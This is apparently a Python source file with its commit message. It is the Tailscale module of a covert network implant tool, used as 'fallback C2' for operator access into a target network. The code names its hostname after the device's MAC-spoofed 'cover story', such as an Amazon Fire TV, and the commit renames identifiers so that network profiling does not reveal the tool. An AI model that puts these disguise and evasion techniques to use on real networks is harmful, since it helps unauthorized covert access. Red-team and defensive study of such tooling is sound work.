ffd384f64b
Replace all sensor.* logger namespaces with __name__ (generic module identifiers instead of discoverable 'sensor.*' prefixes). Change hardcoded 'bb' API user to 'admin' in config and code defaults. Change hardcoded relay_user 'bb' to 'operator' — prevents network profiling from exposing tool identity via SSH config. Fixes #457, #458, #459
291 lines
10 KiB
Python
291 lines
10 KiB
Python
#!/usr/bin/env python3
|
|
"""Tailscale module — fallback operator access via Tailscale mesh VPN.
|
|
|
|
FALLBACK ONLY. Tailscale maintains persistent connections to coordination
|
|
servers — it is chatty by design. Use only when:
|
|
1. WireGuard is blocked by the target network
|
|
2. Target network already has Tailscale traffic (blends in)
|
|
|
|
Manages the tailscaled daemon via subprocess. Authenticates with a
|
|
per-engagement auth key and sets hostname to match the MAC profile
|
|
(e.g., "amazon-fire-tv-xxx") for consistency with the device cover story.
|
|
"""
|
|
|
|
import logging
|
|
import os
|
|
import subprocess
|
|
import time
|
|
from typing import Optional
|
|
|
|
from modules.base import BaseModule
|
|
|
|
logger = logging.getLogger(__name__)
|
|
|
|
TAILSCALE_BIN = "/usr/bin/tailscale"
|
|
TAILSCALED_BIN = "/usr/sbin/tailscaled"
|
|
STARTUP_TIMEOUT = 30 # seconds to wait for tailscaled to be ready
|
|
|
|
|
|
class Tailscale(BaseModule):
|
|
"""Fallback C2 — Tailscale mesh VPN managed as subprocess."""
|
|
|
|
name = "tailscale"
|
|
module_type = "connectivity"
|
|
priority = -150
|
|
requires_root = True
|
|
|
|
def __init__(self, bus, state, config, engine=None):
|
|
super().__init__(bus, state, config, engine)
|
|
self._daemon_proc: Optional[subprocess.Popen] = None
|
|
self._auth_key: Optional[str] = None
|
|
self._hostname: Optional[str] = None
|
|
self._connected = False
|
|
self._tailscale_ip: Optional[str] = None
|
|
|
|
# ------------------------------------------------------------------
|
|
# BaseModule interface
|
|
# ------------------------------------------------------------------
|
|
|
|
def start(self) -> None:
|
|
if self._running:
|
|
return
|
|
|
|
ts_cfg = self.config.get("connectivity", {}).get("tailscale", {})
|
|
if not ts_cfg:
|
|
logger.error("No tailscale config in bigbrother.yaml")
|
|
self.state.set_module_status(self.name, "error")
|
|
return
|
|
|
|
self._auth_key = ts_cfg.get("auth_key")
|
|
self._hostname = ts_cfg.get("hostname")
|
|
|
|
if not self._auth_key:
|
|
logger.error("Tailscale auth_key not configured")
|
|
self.state.set_module_status(self.name, "error")
|
|
return
|
|
|
|
# If no hostname specified, try to match MAC profile
|
|
if not self._hostname:
|
|
mac_hostname = self.state.get(
|
|
"mac_manager", "dhcp_hostname", default=None
|
|
)
|
|
if mac_hostname:
|
|
self._hostname = mac_hostname.replace(" ", "-").lower()
|
|
else:
|
|
self._hostname = f"bb-{os.urandom(3).hex()}"
|
|
|
|
# Start tailscaled daemon
|
|
if not self._start_daemon(ts_cfg):
|
|
self.state.set_module_status(self.name, "error")
|
|
return
|
|
|
|
# Authenticate and bring up
|
|
if not self.up(self._auth_key):
|
|
logger.error("Failed to bring Tailscale up")
|
|
self._stop_daemon()
|
|
self.state.set_module_status(self.name, "error")
|
|
return
|
|
|
|
self._running = True
|
|
self._pid = os.getpid()
|
|
self._start_time = time.time()
|
|
self._connected = True
|
|
|
|
self.state.set_module_status(self.name, "running", pid=self._pid)
|
|
self.bus.emit("CONNECTIVITY_CHANGED",
|
|
{"module": self.name, "state": "up",
|
|
"ip": self._tailscale_ip, "hostname": self._hostname},
|
|
source_module=self.name)
|
|
logger.info("Tailscale up — hostname=%s, ip=%s",
|
|
self._hostname, self._tailscale_ip)
|
|
|
|
def stop(self) -> None:
|
|
if not self._running:
|
|
return
|
|
|
|
self.down()
|
|
self._stop_daemon()
|
|
self._running = False
|
|
self._connected = False
|
|
|
|
self.state.set_module_status(self.name, "stopped")
|
|
self.bus.emit("CONNECTIVITY_CHANGED",
|
|
{"module": self.name, "state": "down"},
|
|
source_module=self.name)
|
|
logger.info("Tailscale stopped")
|
|
|
|
def status(self) -> dict:
|
|
return {
|
|
"running": self._running,
|
|
"pid": self._pid,
|
|
"uptime": time.time() - self._start_time if self._start_time else 0,
|
|
"connected": self._connected,
|
|
"ip": self._tailscale_ip,
|
|
"hostname": self._hostname,
|
|
"daemon_pid": self._daemon_proc.pid if self._daemon_proc else None,
|
|
}
|
|
|
|
def configure(self, config: dict) -> None:
|
|
self.config.update(config)
|
|
|
|
def health_check(self) -> bool:
|
|
if not self._running:
|
|
return False
|
|
return self.is_connected()
|
|
|
|
# ------------------------------------------------------------------
|
|
# Tailscale operations
|
|
# ------------------------------------------------------------------
|
|
|
|
def up(self, auth_key: str) -> bool:
|
|
"""Authenticate and bring Tailscale up with the given auth key."""
|
|
try:
|
|
cmd = [TAILSCALE_BIN, "up",
|
|
"--authkey", auth_key,
|
|
"--hostname", self._hostname,
|
|
"--accept-routes"]
|
|
|
|
result = subprocess.run(
|
|
cmd, capture_output=True, text=True, timeout=30,
|
|
)
|
|
|
|
if result.returncode != 0:
|
|
logger.error("tailscale up failed: %s", result.stderr.strip())
|
|
return False
|
|
|
|
# Get assigned IP
|
|
self._tailscale_ip = self.get_ip()
|
|
return self._tailscale_ip is not None
|
|
|
|
except subprocess.TimeoutExpired:
|
|
logger.error("tailscale up timed out")
|
|
return False
|
|
|
|
def down(self) -> bool:
|
|
"""Bring Tailscale down (logout and disconnect)."""
|
|
try:
|
|
subprocess.run(
|
|
[TAILSCALE_BIN, "logout"],
|
|
capture_output=True, timeout=15,
|
|
)
|
|
subprocess.run(
|
|
[TAILSCALE_BIN, "down"],
|
|
capture_output=True, timeout=15,
|
|
)
|
|
self._connected = False
|
|
return True
|
|
except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as exc:
|
|
logger.warning("Error during tailscale down: %s", exc)
|
|
return False
|
|
|
|
def is_connected(self) -> bool:
|
|
"""Check if Tailscale is connected and has an IP."""
|
|
try:
|
|
result = subprocess.run(
|
|
[TAILSCALE_BIN, "status", "--json"],
|
|
capture_output=True, text=True, timeout=10,
|
|
)
|
|
if result.returncode != 0:
|
|
return False
|
|
|
|
import json
|
|
status = json.loads(result.stdout)
|
|
backend_state = status.get("BackendState", "")
|
|
self._connected = backend_state == "Running"
|
|
return self._connected
|
|
|
|
except (subprocess.TimeoutExpired, ValueError, KeyError):
|
|
return False
|
|
|
|
def get_ip(self) -> Optional[str]:
|
|
"""Get the Tailscale IPv4 address."""
|
|
try:
|
|
result = subprocess.run(
|
|
[TAILSCALE_BIN, "ip", "-4"],
|
|
capture_output=True, text=True, timeout=10,
|
|
)
|
|
if result.returncode == 0 and result.stdout.strip():
|
|
ip = result.stdout.strip().splitlines()[0]
|
|
self._tailscale_ip = ip
|
|
return ip
|
|
except (subprocess.CalledProcessError, subprocess.TimeoutExpired):
|
|
pass
|
|
return None
|
|
|
|
# ------------------------------------------------------------------
|
|
# Daemon management
|
|
# ------------------------------------------------------------------
|
|
|
|
def _start_daemon(self, ts_cfg: dict) -> bool:
|
|
"""Start tailscaled as a managed subprocess."""
|
|
state_dir = ts_cfg.get("state_dir", "/var/lib/tailscale")
|
|
socket_path = ts_cfg.get("socket", "/var/run/tailscale/tailscaled.sock")
|
|
|
|
os.makedirs(state_dir, exist_ok=True)
|
|
os.makedirs(os.path.dirname(socket_path), exist_ok=True)
|
|
|
|
cmd = [
|
|
TAILSCALED_BIN,
|
|
f"--state={state_dir}/tailscaled.state",
|
|
f"--socket={socket_path}",
|
|
"--tun=userspace-networking",
|
|
]
|
|
|
|
try:
|
|
self._daemon_proc = subprocess.Popen(
|
|
cmd,
|
|
stdout=subprocess.DEVNULL,
|
|
stderr=subprocess.PIPE,
|
|
)
|
|
except FileNotFoundError:
|
|
logger.error("tailscaled binary not found at %s", TAILSCALED_BIN)
|
|
return False
|
|
except OSError as exc:
|
|
logger.error("Failed to start tailscaled: %s", exc)
|
|
return False
|
|
|
|
# Wait for daemon to be ready
|
|
deadline = time.time() + STARTUP_TIMEOUT
|
|
while time.time() < deadline:
|
|
if self._daemon_proc.poll() is not None:
|
|
stderr = self._daemon_proc.stderr.read().decode(errors='replace')
|
|
logger.error("tailscaled exited prematurely: %s", stderr[:500])
|
|
return False
|
|
|
|
try:
|
|
result = subprocess.run(
|
|
[TAILSCALE_BIN, "status"],
|
|
capture_output=True, timeout=5,
|
|
)
|
|
# Any response (even "not logged in") means daemon is ready
|
|
if result.returncode in (0, 1):
|
|
logger.debug("tailscaled is ready")
|
|
return True
|
|
except (subprocess.TimeoutExpired, FileNotFoundError):
|
|
pass
|
|
|
|
time.sleep(1.0)
|
|
|
|
logger.error("tailscaled did not become ready within %ds", STARTUP_TIMEOUT)
|
|
self._stop_daemon()
|
|
return False
|
|
|
|
def _stop_daemon(self) -> None:
|
|
"""Stop the tailscaled subprocess."""
|
|
if self._daemon_proc is None:
|
|
return
|
|
|
|
if self._daemon_proc.poll() is None:
|
|
try:
|
|
self._daemon_proc.terminate()
|
|
self._daemon_proc.wait(timeout=5.0)
|
|
except subprocess.TimeoutExpired:
|
|
logger.warning("tailscaled did not stop after SIGTERM, killing")
|
|
self._daemon_proc.kill()
|
|
try:
|
|
self._daemon_proc.wait(timeout=2.0)
|
|
except subprocess.TimeoutExpired:
|
|
pass
|
|
|
|
self._daemon_proc = None
|